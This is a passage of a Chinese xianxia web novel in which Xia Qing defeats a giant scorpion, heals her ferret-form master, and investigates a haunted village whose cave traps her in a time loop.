拉扯间,被毒蝎逼到一个地势逼仄的位置。 后脚跟抵住山岩, 退路已断。 眼看蝎尾又一次扫过来,夏清猛一蹲身,便听轰一声响,那蝎尾扫中岩壁, 乱石纷飞。 尖锐的尾钩刺进岩石,被岩缝阻碍难以动弹,夏清捕捉到它尾巴一时的窘境,脑海中倏地闪过一道灵光。 蝎尾, 巽卦,止于山, 风山渐。 主卦三变,一曰离, 二曰巽,三曰坤。 三个变卦中,仅一变离火能耗泄巽木,险中求生。 夏清心中已有对策。 但没等她将想法付诸行动,又一道劲风扑面。 这大蝎子有两条尾巴! 夏清纵身一跳,躲过从下方刺来的尾钩,抬手抓住毒蝎甲壳,一个翻身爬上毒蝎脊背。 一跳蝎尾卡在石缝中,余下另一条再度向夏清扫来,夏清在毒蝎背上腾空跃起,原地翻了个跟头,再落地时,指间夹起一张黄符纸。 她迅速蹲身,将黄符拍在毒蝎背上。 等那蝎尾再扫过来,她便轻盈地一个驴打滚,从毒蝎背上翻下来。 毒蝎奋力挣扎,欲追夏清,而夏清已退到几步开外,同时双手掐诀,默念五行法咒。 噗。 一声异响,毒蝎背上的黄符无火自燃。 在蛮荒干燥炎热的气候下,任何东西触之即燃。 一朵小火苗点燃毒蝎的甲壳,被风一吹,竟然迅速扩散。 就连挥舞的蝎尾也被火苗引燃,灼烧带来的剧烈疼痛彻底激怒毒蝎。 它嗷嗷惨叫着,竟使蛮力将嵌入石缝的尾巴抽出来,攻势愈发狂乱且没有章法。 夏清见状并不着急,沉着冷静地应对,一退再退,不让毒蝎靠近自己。 局势已经扭转,眼下只需要等待火势将毒蝎完全吞噬,因而愈发急不得,她只需要拖住。 毒蝎甲壳被火烧灼,发出噼啪脆响,伴随一阵阵夹在风中的焦臭。 夏清一个驴打滚躲开毒蝎袭击,凑巧脚边就是刚刚扔掉的断剑。 犹疑须臾,夏清又将断剑捡起来。 适逢一条蝎尾从天而降,夏清反手挥出断剑,锃一声响,那已被火烧得焦脆的蝎尾轻而易举就被斩断。 毒蝎之势,一鼓作气,再而衰,三而竭,它断了一条蝎尾,力量开始迅速衰减,不多一会儿,就追不动了。 它终于停下来,轰隆一声摔倒在地,仅剩一条长尾还挣扎着左右晃动。 夏清总算能喘口气,但毒蝎还没死透,她不敢轻举妄动。 又过了一会儿,毒蝎尾巴垂落在地,不再动了。 她观察须臾,不确定,又从地上捡一枚石头扔过去。 石头轻易砸穿毒蝎背上的甲壳,而那毒蝎趴在地上一动不动。 夏清这才彻底放松心神,扑通一声原地坐下。 这毒蝎若再不死,怕死的就是她了,不是被毒蝎蛰死的,而是被累死的。 她这十多二十分钟做了一套极限有氧,浑身上下都已被汗水湿透。 便在这时,夏清怀里出现动静,小雪貂竟从她怀里钻出来,然后嗖地一声朝毒蝎飞蹿过去。 夏清急声:“卿卿!” 她生怕毒蝎还没死透,再突然暴起偷袭,会伤到白镜玄。 身体先过脑子,本能地一跃而起,朝小雪貂飞扑过去。 但她才刚经历了一场高强度的搏斗,浑身脱力,暴汗淋漓,乍一起身头晕眼花,腿脚无力,没蹦出多远就直挺挺地朝地上栽。 小雪貂腿短,没跑出多远,阴差阳错被夏清成功扑到,一人一貂双双趴倒在地上。 幸而夏清担心的情况并未出现,毒蝎趴着一动不动,尾巴抬也没抬一下。 看来是真死透了。 雪貂从夏清胳臂缝隙里钻出来,见夏清趴在地上没动静,小鼻子朝前凑,贴着夏清的耳朵在她脸颊上四处嗅闻。 过了一会儿,夏清缓过劲,翻了个面仰躺在地。 小雪貂探头探脑的,见夏清累得动弹不得,便将小脑袋贴过去,蹭蹭夏清的脖子。 “……别闹。” 被小家伙蹭得脖子痒酥酥的,夏清抬起一条胳臂,将小雪貂脑袋推开。 但它还要往前凑,夏清便干脆将它小小的身子揽过来按住。 好巧不巧,刚好按在胸口。 小雪貂趴在软乎乎的垫子上,消停了。 夏清歇了半晌,终于攒了点力气,喘匀气息。 睁眼,与胸前小雪貂黑豆眼四目相对,质问它:“你刚才干嘛呢?” 战斗才刚结束它就想乱跑,万一那毒蝎子没死透,临死反扑伤到它怎么办? 小雪貂闻言,眼睛忽闪忽闪的,没应。 突然,它在夏清怀里拱了拱,从夏清胳臂间隙中挣出来。 落地,又蹿向那只大蝎子的尸体。 夏清不理解:“喂!” 但她实在没力气再追,眼看那只蝎子确实凉透,没有再反扑的迹象,她便放任自流,不再管了。 躺着躺着,竟然困意来袭。 但这野外凶险莫测,还不知道毒蝎的尸体会不会引来别的凶物,她绝不可能就在此地躺着过夜。 夏清疲惫地呼出一口气,翻身坐起来。 便在这时,刚刚跑走的小雪貂又迈着它短短的四条腿呼啦啦跑回来,嘴里还叼着一枚拳头大小的珠子。 “你叼什么玩意儿呢?”夏清见状惊讶,从小雪貂嘴里取下珠子,入手掂了掂,“这难道就是传说中的兽丹?” 珠子浑圆,表面光滑,摸起来手感像玉石,通体紫色,内部是朦胧的半透明状,嵌着几缕血丝。 夏清问小雪貂:“这是几阶的珠子?” 雪貂伸出一只小爪爪,发现爪子不如人的手灵活,又伸出一只,几根手指凑了凑,比出一个“七”。 七阶凶兽,在蛮荒地界也算是上游水平,极稀有的恶兽了,竟然被夏清碰到。 夏清啧啧称奇。 不过,经过此战,夏清也感受到仙界和蛮荒战力水平的区别。 她在紫霄峰时,是个妥妥全班垫底的差生,随便谁虐她都跟捏蚂蚁一样,而到蛮荒来,她施展最基础的五行法术,都能直接烧死七阶的恶兽。 难怪柳菡云说她这修为也能在蛮荒横着走呢。 在蛮荒,只要不是碰到魔族,或者其他顶尖级的荒古异兽,哪怕她只会用五行法术,也能自保。 得到这个结论,夏清委实松了口气。 如果她操控自己体内的法力稍稍外放,在方圆几丈范围内形成一圈气场,说不定这凶兽根本不会主动找来。 不过那样做的话,又太浪费法力了,实在没有必要。 即便修为高深如白镜玄,也不是时时刻刻把气息外放,只在关键时候用来震慑一下目标。 夏清琢磨清她的法力在蛮荒的妙用,喜上眉梢。 小雪貂倏然跳上夏清的胳臂,从夏清手中拿走兽丹。 夏清见状笑话它:“怎么,不舍得给我啊?这可是我打下来的!” 小雪貂十分人性化地睨她一眼,叼着兽丹又跳上夏清肩膀。 下一瞬,脸颊传来兽丹温凉的触感。 眼角下泛起氤氲紫光,凉意顷刻转化为温热,一股精纯的灵气覆盖夏清的脸颊,若隐若现的刺痛感缓缓消失。 夏清这才反应过来:“你在替我疗伤?” 小雪貂嘴里叼着东西,没法接话,便不搭理她。 治好夏清脸上的伤,它又跳下夏清的肩膀,将兽丹贴到夏清胳臂伤。 夏清小臂也有几处擦伤,搏斗过程中,衣服都给擦破了。 兽丹表面氤氲的光芒再次亮起,夏清小臂处的伤口以肉眼可见的速度飞快愈合。 天地间匮乏的灵气,用兽丹得以补充。 等小雪貂将夏清身上的伤处理得差不多,兽丹的直径缩小了一大半。 眼看它还要治疗一些细小的伤口,夏清想起什么,出声阻止:“好了,卿卿,可以了。” 她探手一捞,将小雪貂抱回怀里,抢过它嘴里的兽丹。 雪貂回头,一双黑豆眼与夏清对视。 夏清不由分说,抓着内丹反手按在它小爪子的伤口上。 嘶。 小雪貂疼得缩爪子,但那珠子安安静静,无事发生。 夏清愕然:“这珠子咋不亮嘞?” 她盯着手里的兽丹仔细看,难道是用了太多遍灵气已经耗尽了? 不应啊……白镜玄刚才还准备继续来着。 夏清左思右想,忽然脑海中灵光一现。 “啊,不好意思,我忘了念咒。” 白镜玄:“……” 第30章 第三十章 夏清脑子里回忆原身记过的各种咒。 之前她的经脉没有打通, 无法运用体内的法力或者天地灵气施展法术。 而今她的修为在白镜玄的帮助下有所增长,对法力的运用也更有心得,虽然疗伤法咒她也不熟, 但试试又不会少块肉。 回忆起疗伤法咒的内容, 夏清将兽丹贴在小雪貂手背上, 一边输送自己的法力激活兽丹, 一边默念法咒,将通过法咒转化的灵气延展开来, 完整覆盖住伤口。 夏清双眼一眨不眨盯着雪貂的小爪爪,看着伤口隐约有几分愈合的趋势,但速度十分缓慢, 远没有她的伤势恢复得快。 “为什么你的伤恢复这么慢?”夏清不得其解, 皱紧眉头。 眼看着兽丹又缩小一圈,小雪貂爪爪背上的伤却只好了一点点,夏清有点着急。 倏然, 小雪貂自己抽回爪子,中断治疗。 夏清愕然:“你……” 扭头,对上小雪貂圆溜溜的黑豆眼,小家伙一本正经朝她摇了摇头。 夏清明白了。 白镜玄的意思是, 她的伤很难通过寻常手段治愈,夏清把兽丹的灵气浪费在她身上,很不值当。 眼看战局已了,它不想继续这个话题, 身子一转就要往夏清怀里钻。 不料,夏清拎着它的后脖颈把它抓出来。 “受了伤怎么能不治疗呢?”夏清没好气地弹一下它的小鼻子, “你们这些霸总人设是不是都不懂得爱惜自己?好得慢怎么了?能好一点是一点,一颗兽丹不够, 就多打几颗,总能给你治好。” 说着,她又抓起雪貂的小爪爪,默念法咒开始治疗。 小雪貂看看自己的爪爪,又看看夏清,黑豆豆小眼睛眨了眨,乖乖的没再挣扎。 夏清把兽丹剩余的灵气全用来医治雪貂爪上的伤,虽然收效与预期有所差距,但多多少少还是有一些治疗效果。 经此一事,夏清愈发坚定了要去寻找柳菡云的念头。 眼下在这蛮荒,唯一能帮得到她的只有柳菡云。 先去荒古遗迹找到奇兽之血,解除白镜玄身上的毒,再去寻金灵草,事半功倍。 再者,夏清也怕迟则生变,白镜玄中了毒,自身实力大幅下降,魔族若得到消息,多半会趁虚而入。 自己的实力几斤几两夏清再清楚不过,她护不住白镜玄。 兽丹灵气耗尽,挥散消失。 夏清摸出铜钱起卦,卜算柳菡云之所在。 成卦,水地比。 上卦坎水,下卦坤土,丑时变四,泽地萃,互卦为剥。 看到这个卦象,夏清眉头皱起。 本卦比卦是一个吉卦,但互卦却是剥,作为结果的变卦泽地萃,乃是吉中藏凶之卦。 这一卦的卦象错综复杂,预示着她虽然能找到柳菡云,但其过程之中,恐怕还有难以预料的变数。 变故的发生会很突然,眼下东想西想也难有定论。 夏清收起铜钱,揣起小雪貂,趁着夜色动身。 她一路往西南方向走,连着赶了两天路,直至荒原上出现一条近乎干涸的河流。 河床上剩余的水不多,但水在地上流,形成了水地比之象。 夏清精神一震,心说快了快了,柳菡云应该就在附近。 随后,她又顺着河流往上游寻找。 两侧地势渐渐凸起,形成起伏不定的山坳。 夏清穿过一个又一个小小的山坳,视野中终于出现了袅袅炊烟。 一路走来少有人烟,直至河流变得开阔,水源更丰富,周围多了一些植被,房屋和村庄才又出现。 她就近寻到一户人家,敲响房门。 小雪貂从夏清怀里探出脑袋,耳朵竖起来,关注屋子里的动静。 不多时,屋里传来脚步声。 伴随吱呀一声轻响,房门打开一条缝。 门后出现一个面黄肌瘦的兽人男性,眼神疲惫地看向门外来人,面露疑惑:“你是谁?” 夏清开口:“你好,我想问问你有没有见过一个跟我差不多高的人类?” “没有。” 那人不假思索,说完就把房门合上。 夏清低头看向小雪貂,小雪貂也同时抬头看向夏清。 一人一貂四目相对,彼此都感觉到不对劲。 “哪里怪怪的。”夏清自言自语。 她退回来,沿着山路继续往前走,连着又敲了两家房门,还是得到同样的答复。 更让夏清感到奇怪的是,这些人的态度非常古怪却又极为相似,开门时都小心翼翼,生怕把门缝拉大一些,话说不到两句就要关门。 第四次打听的时候,夏清提前做了准备。 那农户打扮的女人说了没看见之后就要关门,夏清眼疾手快把住门沿,没让房门关上。 女人似吓了一跳,手往后缩。 夏清胳臂挤在门缝中,被狠狠夹了一下。 咔嚓。 异响之声出现,女子更加惊慌,吓得松手退了好几步。 夏清依然站在门边,她的胳臂倒是没有被夹坏,反而门板裂了。 门的边缘被她的胳臂挤压变形,木板断了一根,形成一个破碎的缺口。 夏清:“……” 她一脸懵逼。 说实话她也是第一次知道原来自己的胳臂这么硬。 刹那折裂的门板让她一瞬间联想到昨夜与毒蝎子交手时不慎劈断的宝剑。 这样说起来,或许不是那个宝剑质量不好,而是夏清自身的修为还有那只毒蝎的品阶都高于宝剑,所以那把剑才会轻而易举地损毁。 女皇也不可能会料到,夏清才刚离开圣城就遭遇七阶凶兽。 蛮荒的物质环境和仙界不一样,蛮荒的大气密度比仙界低很多,同样的特点也反应在物质上,这里最普通的岩石捏在夏清手里,跟泡沫似的。 富含丰富灵气,品阶越高的东西,夏清用着越趁手。 见夏清闯进屋子里,屋子里的女人一退再退退到墙角,整张脸没有血色,已经吓得快断气了。 “不好意思,我不是故意毁坏你家的门。”夏清开口,“我就是想问问,你为什么那么着急关门,在害怕什么?” 女人尖叫着捂住耳朵,旁边个头只到夏清腰间的小孩子一个箭步冲过来,拦在女人与夏清之间,大声喊道:“死怪物,别欺负我娘亲!” 夏清被骂得无语了:“你说谁是怪物?” 小孩又喊:“就是你!” 夏清试图解释:“可我是人,不是怪物。” “你的胳臂撞坏了我家的门,还说你不是怪物!”小孩愤怒道。 夏清:“……” 好像有理有据。 孩子妈妈吓得狠了,生怕夏清一爪给她孩子撕成两截,慌忙扑过来捂住小孩的嘴巴,弯腰给夏清道歉:“对不起,对不起,但是我们家里已经没有祭品了!求求您了,您去别处看看吧!” 这女人说的话夏清一句也没有听懂。 但她抱着孩子缩成一团,眼睛死死闭上,似乎夏清再开口,她们就是要钱没有,要命一条。 夏清与怀里的小雪貂对视一眼,不再说什么,沉默地离开了。 临走之前,她施展了一个木系法术,给那户人家的门板上打了个补丁。 “这村子里气氛怪怪的。”夏清边走边说,“死气沉沉,这些人明明还活着,却好像行将就木。” 突然,小雪貂从夏清怀里跳出来,落到她跟前的地面上。 夏清停下脚步,不解地望着它。 它直起自己的小身子,像个人一样后肢着地,两个短短的前爪抬起来。 先指了指夏清,又指了指地面,再指了指夏清身后的村庄,然后拍拍自己的小胸脯。 末了,小短腿用力一蹬,毛茸茸的身子便蹿腾出去,沿路往回跑。 眨眼间不见踪迹。 夏清愣了半天,片刻后,噗嗤笑出声。 “她刚才是不是在说……‘你留在这里,那边交给我?’”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 30-40 第31章 第三十一章 既然白镜玄要接手这件事, 那她就先等等看。 夏清坦然接受,并在路边找了块光滑平整的大石头坐着等。 坐下不多时,一阵清凉的山风吹来, 夏清耳朵动了动, 好似捕捉到窸窸窣窣的声响。 她扭头朝声音来处看去, 只见林中草木枝影摇曳, 看起来没什么异样。 夏清歪歪头,凝神仔细观察须臾, 不见异动,只道自己多心。 一个时辰悄然过去,夏清等得昏昏欲睡, 然而依然不见白镜玄所化的小雪貂回来。 她拍拍脸让自己清醒清醒, 再朝村子的方向望一眼,蹙眉。 难道出什么事了? 不应该啊。 这村庄里只有几个农户,白镜玄虽然化身小雪貂, 一身修为被强行封印所剩无几,但她毕竟是一代仙尊,甩甩尾巴都能把这些凡人放倒,不可能回不来。 夏清压下心中疑惑, 又等了半个时辰。 还是不见白镜玄回来。 白镜玄这去得也太久了,夏清起身,神情间隐现按捺不住的焦躁。 不行,她得自己过去看一眼。 眼看天色渐晚, 日落西山,昏昏沉沉的暗影笼罩村庄, 夏清终于下定决心。 她起身往村庄走去,不一会儿就回到刚才经过的那户人家。 夏清抬手准备敲敲门, 却又倏地忆起村里人的态度,抬起的手悬在半空,没有敲下去。 便在这时,屋里传来哐啷一声,像什么东西坠落在地发出的声音。 夏清胳臂快过脑子,用力拍响门板。 只听吱呀一声,房门敞开,门后竟然没有挂闩。 “那个……不好意思,再打扰一下。”夏清探头探脑往门内瞧,“请问你们……” 话未说完,戛然而止。 一眼就能望见四壁的小房子里,并没有人。 之前与夏清爆发短暂冲突的农妇和她的孩子不见踪影。 夏清:“?” 屋里没人?那刚才的声音是怎么回事? 或许是之前她把人吓坏了,这农妇带着孩子弃屋而逃也说不定,至于东西掉落,大概是老鼠趁家中无人跑出来活动活动。 房屋的主人都不在,自然也打听不到什么,夏清瞧了一圈,没看见小雪貂,便转身离开。 途径下一户人家,夏清在门前站了片刻,见门敞着一条小缝。 天色已变得几位昏沉,而屋中却未燃灯火,夏清心中蹿起一丝不安的预感。 为了验证心头所想,她朝小屋走了几步,伸手推开屋门。 屋内安安静静,果然没有半个人影。 心头怀着越来越深的疑惑,夏清继续往小村庄深处走,每到一户人家,她都抬手敲门。 笃笃笃——笃笃笃—— 村庄中的小屋房门都没有关,屋子里没人,一个人* 也没有。 这些人都去哪里了? 夏清忽然感到一阵惴惴不安的心慌。 兜兜转转,夏清又回到那农妇的小房子,方走近屋门,她倏然顿住脚步。 那门上缺的一块补丁居然消失不见,门板虽破旧了些,但完好无缺。 有古怪! 夏清后退一步,抬头看天,天空中乌云密布,大地也是一片幽深沉寂,荒凉无人,阴森恐怖。 心念一动,掐诀卜卦。 天地否。 否卦,阴阳变动,混乱失调之卦。 互卦风山渐,变为天山遁。 遁,藏也,也代表雾障重重,所寻之人难觅其踪。 夏清:“!” 该不会真是这里的村民扣下小雪貂,把它藏起来了吧? 怎么可能,他们哪里来的这么大的本事? 夏清越想越心慌,心头意念沉沉,不愿坐以待毙。 她再细细分析所得卦象,心头冒出一个念头:难道……此地异象,不是人祸? 阴阳失衡,则有生气衰微,阴气群生之象。 换句通俗易懂的话,这个村庄闹鬼。 夏清长处一口气,感觉胸中憋闷,若要真是如此,那可就是专业对口了。 她从兜里摸出一片黄符纸,咬破指尖以血为墨,唰唰画了道符,再将此符对折含入口中,朝符印吹出一口生气。 那生气在空中汇聚,最后幻化为一个小灯笼,照亮方寸土地。 夏清睁眼,正要往前走,忽而低头,看见脚下多了好些零散纷乱的脚印。 这些脚印叠在一起,一簇一簇绽开,有鸡有鸭有猪有狗。 当然,也有人。 唯独没有寻见小雪貂的脚印。 灯笼光亮去不到的地方就依然黑漆漆的,除了一条幽僻阴森的小路,什么也看不见。 夏清提着灯笼往卦象所指的方向走,一路上全是稀奇古怪的脚印。 这些脚印一直延伸到小路尽头,也就是村庄东北方向,一面巨大的岩壁之下。 夏清走到这里,感觉环境气场发生了一些改变。 她伸手摸了摸石壁,冰凉坚硬,看起来是实心儿的。 但夏清笃定这块石头后面有东西。 她在石头外踱了几步,心说这恐怕是妖物布下的幻术结界,不解开结界就进不去。 以前师门传的那些咒不知道有没有用。 反正现在无人跟着,她也不必藏着掖着,遂并起手指,在眼前石面上画下一道雷霆令。 夏清凝神静气,喃喃念咒:“雷霆雷霆,杀鬼降精,斩妖辟邪,永保神清!” 最后一个字念罢,她手上最后一笔也画完了。 嗡—— 雷霆令显现金色光边。 下一瞬,噼啪雷声炸响,伴随轰隆一声雷鸣,那一面山壁竟在夏清眼前四分五裂。 夏清:“!” 太突然了,夏清连退好几步才免遭碎石波及。 因吸入夏清体内法力,这符印比往日任何一次驱动都更加强劲。 “啧。”夏清看着石壁后露出来的大窟窿,内部果然有一个隐藏的暗道,咋舌道,“那次去坟山,如果雷霆令有这十分之一的威力,我也不会死。” 二十一世纪的蓝星,末法时代,因为环境破坏太过严重,天地间已经没有多少灵气,雷霆令的威能根本发挥不出来,随手一画就炸一堵墙的壮阔景观,夏清也是第一次见。 不过,既然雷霆令有效,其他法咒应该也能用得了。 夏清盘了盘自己会的几个法诀,心中霎时多了一点底气,遂迈开脚步踏进黑森森的甬道里。 甬道中散发着一股潮湿腐败的气息,视野所及十分昏暗,借着灯笼蓝蒙蒙的光也才勉强看清两步开外。 巨石一开,地面上重新出现乱七八糟的脚印,印证了夏清一开始的猜想。 这通道底下必定有什么见不得人的勾当。 她继续往甬道深处走,前行数十步,道路开始变得宽阔,凹凸不平的泥巴地铺上了平整的石砖。 那些脚印到石地上就消失了。 眼前出现一条向下的台阶,凹陷下去的甬道宛如一张大张的兽口。 这地方古怪极了,夏清心觉村庄里那些人的异样大概就和这怪地方有关。 她正要继续往前走,忽然一滴水从甬道顶端坠落,滴到夏清鼻子上。 夏清下意识抬手抹了抹,闻到一鼻子浓郁的腥臭味。 低头瞧一眼,她手上多了些深色的液体。 是血。 “!” 夏清陡然一个激灵。 睁眼,昏暗的甬道从眼前消失。 周围凉风习习,枝叶拂动簌簌有声,夏清恍惚间愣了须臾,方明白过来,她回到了村口的大石头上。 此时天色还没有完全暗下去,西边的山坳处透来一丁点儿剩余不多的斜阳,暗橘色的辉光笼罩整座村庄,余留几分尚未消退的暖意和生气。 夏清心头惴惴,摸不清现在到底是什么时辰。 便在这时,一抹柔软的触感抚过她的脸颊,连带着她的肩膀和脖子都能感受到微沉的压力。 夏清一个激灵。 “啊啊啊啊啊啊啊!!!” 她从大石头上栽倒下来。 那微沉的触感脱离她的身体,轻飘飘地落回石头上。 而夏清自己,则因为一时激动,用力过猛,如炮弹般弹射出去,再嘭一声摔了个狗啃泥。 她猛地回头看去,却见一只尺来长的白色小动物趴在身后的大石头上,圆圆的脑袋,圆圆的耳朵,还有一对圆圆的黑豆眼和一双短短小爪子。 小雪貂立起上身歪歪脑袋,圆溜溜的小眼睛眨了眨:“吱?” 第32章 第三十二章 “……” 夏清沉默片刻, 心跳平复些,这才结结巴巴开口:“卿,卿卿?” 视线从雪貂身上挪开, 再左右看了看四周。 她还在村口, 太阳没有完全落山, 距离白镜玄离开大概过去一个时辰。 如此说来, 刚才她进入村庄所经历的一切,其实只是一场梦? 那真的是梦吗?有没有可能现在看见的才是梦呢? 夏清被不断跳跃的场景反复拉扯, 哪一个场景都分外真实,辨不清孰真孰假。 迎着小雪貂疑惑的眼神,夏清定了定心, 决定……稍微验证一下。 于是, 她倏地跳起来,一个飞扑擒住小雪貂。 遂张开魔爪,上下其手。 白镜玄:“?!” 来不及躲, 它浑身上下被夏清报复性地摸了个遍,不知道出于什么怪癖,四个小爪子还被夏清多捏了好几下。 “看样子是真的。”夏清喃喃自语,把被捏到浑身皮肤泛起薄红但被厚而光亮的毛发遮挡的小雪貂双手抱起来, “你真的是我的卿卿吧?” 小雪貂瞪圆了眼,那圆溜溜的眼睛里藏着既惊又愤还无可奈何的情绪。 仿佛在说:是故意的吧?你肯定故意的吧?! 以为她现在因异化作用法力受限,反抗不了,这人就蹬鼻子上脸。 狠。狠。撸。了一把小雪貂, 夏清过度紧张的情绪得到释放。 与小雪貂对上一眼,似感受到对方眼神中的怨念, 夏清理智回神,尴尬地清了清嗓子:“你别误会, 我最近总做奇怪的梦,有点分不清梦境和现实,就稍微验证一下,你不会怪我吧?” 对峙须臾,小雪貂炸了毛毛的尾巴一点一点恢复原样。 小脑袋哼地一下撇开,不搭理夏清。 夏清彻底放下心来,尾巴毛毛不炸了,说明白镜玄已经消气,但为人师表的傲气不容侵。犯,所以还要再摆摆架子。 “我懂我懂,傲娇嘛,你心里不气了就好。”夏清点头。 白镜玄:“……” 夏清起身,抖抖身上灰尘,爬回大石头上坐好,将小雪貂揽进怀里抱紧。 柔软温暖的小身子,一点温热的体温顺着手掌与皮毛相接的位置源源不断渗入夏清的身体,让她被恐惧震慑的心情渐渐平复下来。 幸好是梦,她还以为白镜玄出了变故回不来了。 夏清用撸猫的手法揉了揉小雪貂的脑袋,顺着它脖颈一圈抓抓挠挠。 小雪貂虽然无语,但眯起眼睛。 夏清彻底恢复理智,回想起此行的主线任务,低头询问小雪貂:“你去打听到什么了?” 问出这句话时,她心里闪过一个疑问。 不知道白镜玄现在这副形态,打算怎么跟她沟通交流。 总不能全靠她猜吧。 夏清话音落下,小雪貂从她怀里探出小半个身子,随后后肢着地,上半身轻盈地扬起来,闪电般往上一蹿,湿湿凉凉的鼻子尖儿便碰到夏清额头。 叮—— 夏清似听见一声异响,随即便感觉脑子里的水晃荡起来,漾起层层波涛。 与此同时,那一圈圈波澜中投射出画质清晰的影像,伴随不同音色的对话声。 一个女人语气迟疑:“刚才那个人好像不是山神派来的使者,为什么不和她说实话?她要找的人……” 另一道男人的声音粗暴地打断女人说话:“你懂什么!那女人绝不可能活着回来!说了又有什么用?!” “什么?!”女人惊呼,“那你当初为什么不阻止她?” 男人理直气壮:“是她自己说要去讨伐山神,我们又没有求她,山神岂是那么容易对付的?” 女人似琢磨出什么,不可置信:“难道……你们利用她?利用一个无辜的人?” 不知是不是被女人失望震惊的眼神刺伤,男人暴跳如雷:“是又怎么样?!我们村拢共就那么几口人,这些年山神封山,我们村里给不出祭品,已经接连死好几个人,再这样下去,我们都得死!” “若那女人被山神看上收作祭品,我们就能活命!”男人声嘶力竭,面目扭曲,“要怪,就怪她运气不好,非要搅这趟浑水!” 对面的女人也沉默了。 画面到此停滞,随后与翻滚的波纹一起消失。 夏清视野恢复清明,对上小雪貂圆溜溜的黑豆眼,沉吟须臾后小声猜测:“他们说的那个人,该不会就是柳师姐?” 小雪貂表情严肃地点点头:很有可能。 所以,这座山里有一个拦路的山神,它能操控结界让外面的人进来,但不让村里的人出去。 柳菡云意外从此地路过,或许从村民口中获知了山神无道,因而起了仗义出手的心思,没想到被这群短视的山民利用,把她当作祭品送给了山神。 夏清理清事情经过,气得脸都青了。 山神作恶多段的确可恨,但这群山民为了自保牵连无辜也不是什么好鸟。 可怜之人,必有可恨之处。 关键是柳菡云没有觉察这些人的歹毒意图,当真一个人跑去找那“山神”,要为民除害。 柳菡云,这书中世界的主角儿,光伟正得像个大傻子。 夏清稍微冷静一下,看向小雪貂:“有没有打听到山神在哪儿?” 小雪貂摇了摇头。 这村里的人对山神可谓讳莫如深,彼此交流时提都不敢提及,它也是意外撞见这一段对话。 夏清凝神想了想,脑海中划过一幕幽深晦暗的景象。 于是,她呼出一口气,将小雪貂捞起来,放在自己肩膀上。 “我知道一个地方。”夏清小声嘟囔,“不一定正确,但咱们可以先试试。” 柳菡云可能正与山神殊死搏斗,事不宜迟,夏清决定马上动身。 小雪貂脑袋歪歪:她的小仙侣这么厉害? 夏清脚步生风,一路疾走抵达村子东北边的山坳,寻至梦中见过的那一面石壁。 这石壁四周景象当真与她梦中所见一模一样。 此时太阳又往下落了几寸,几乎完全没入山坳中,余晖也已不剩多少,半边天空都变成了墨色。 要不了多久,村庄就会被暗沉沉的黑夜所笼罩。 夏清看眼天色,心说,倘若真是妖邪作祟,月下阴气将加重妖邪的力量,若到子时更是凶险,她需抓紧时间。 如此想着,夏清毫不犹豫咬破指尖,在那面石壁上画下一道雷霆令。 “雷霆雷霆,杀鬼降精,斩妖辟邪,永保神清!” 法咒念罢,夏清一个抽身退开三米远。 她脚尖落地的同时,面前石壁轰然炸裂,石壁背后果然露出一个黑洞洞窟窿。 竟然真的有暗道! 夏清心下凛然,眼前所见一切,与她梦中景象分毫不差。 当真只是一个简简单单的预示梦? 夏清来不及多想。 她示意小雪貂小心洞内动静,同时自己也稍稍弯腰,做出防备姿态,提起脚步,缓缓迈入石洞之中。 视野开始变得昏暗,夏清施法召出小灯笼。 地面上果然映照出奇奇怪怪的脚印。 夏清深吸一口气,继续往前走。 一如梦中所见,脚下松软的泥土在前进数十步之后变成了坚硬的石板地面。 向下延伸的石阶出现在夏清眼前。 走到石阶旁,夏清心念一动,倏然往后退了半步。 果然,一滴液体从石洞顶上坠落,滴到地面上,溅开一朵灿烂的血花。 夏清倏地抬头,只见一道黑影嗖地从她眼前闪过,转眼便不见踪迹,而凹凸不平的石洞顶上,残留着几个血糊糊的爪印。 “果然有妖物。”夏清言之凿凿,眼神凝重。 连柳菡云都奈何不得的妖物,修为肯定不低,说不定已到了这个世界大乘水平。 要想寻到柳菡云,多半得深入这洞穴,会一会妖物才行。 老实说,夏清心里有点打鼓。 但柳菡云遇险,她又不能见死不救。 嗐,死又算得了什么? 她的剧本走的就是钢丝,玩的就是心跳,太安逸了说不定她还不习惯。 夏清忙里偷闲打趣一下自己,壮了壮胆继续往前走。 她沿着石阶下去,又走百来步,甬道抵达尽头,眼前豁然开朗。 夏清停下脚步,瞳孔一缩。 她脚下的石板路还继续往前延伸,但道路两侧堆放着许许多多奇形怪状的骨头。 这些骨头表面焦黑,乍一看去,许多颅骨,有山羊、黄牛、鸡鸭和狗。 夏清倒吸一口气。 仿佛是与她在甬道中见到过的那些脚印对上了。 道路尽头地面略略抬高,周围竖着几根柱子,看起来像一座圆形的祭坛。 目之所及,未见柳菡云的踪影。 夏清又给自己打打气,迈开脚步往前走。 倏然,左边的骨头堆发出异响,夏清扭头看去,见碎散的骨头居然自己动了。 她吓一跳,下意识往右边让了半步。 噗。 血肉被利器穿透的声音响起,夏清低头看向自己的胸口。 弯曲的羊角从她的胸前露出一个锋利小尖尖。 身后,碎骨拼合成一个怪莫怪样的骷髅战士,双手高举一颗山羊头骨,穿透了夏清的身体。 小雪貂毛毛炸开,口中爆发尖叫。 但接下来的画面就从夏清眼前消失了。 这么突然吗? 意识涣散之前,夏清心想,炮灰的命就不是命? 她怎么就这么容易死呢? 对比她脑海中对自己的结局各种轰轰烈烈的设想,现实给她的这一种,未免也太敷衍了。 这时,耳边传来轰一声响。 待视野恢复清晰,夏清愕然发现,她站在刚刚爆破开来的石洞外面。 小雪貂从她耳朵旁边探出一颗小脑袋,正好奇地往那洞穴里面看。 夏清:“!!!” 卧槽,无限流,刷存档了?! 第33章 第三十三章 夏清站在山洞外, 一脸懵逼。 时间的的确确回溯了对吧?! 上一秒被羊角穿透胸腔的感觉还记忆犹新,转眼间她就回到最初的起点。 总不可能这一次又是她不小心睡着了,山洞刚刚炸开, 她绝不可能在此时走神。 是哪里来的神秘力量在庇护她? 经此一事, 她愈发肯定这座山里大有古怪。 柳菡云极有可能在山洞里, 可这山洞中危机重重, 她得提前想好对策。 夏清思量片刻,自怀中取出一沓黄纸, 沾上自己的血开始画符,直画了十来张斩妖辟邪的符,又在心中过了一遍五行法咒, 这才怀着忐忑不安的心情再次走进山洞。 小灯笼照亮地面上的脚印, 因为先前的经历,她再看见这些脚印,只觉得毛骨悚然, 背上的汗毛都竖起来了。 事已至此,她也不可能弃甲而逃。 逃避是没有用的,只能硬着头皮上了。 从泥巴地过度到石板路,夏清提前有了准备, 二话不说反手朝山洞顶上甩出一道符。 轰—— 甬道震动,山石崩碎,头顶的石壁被黄符炸出一个坑。 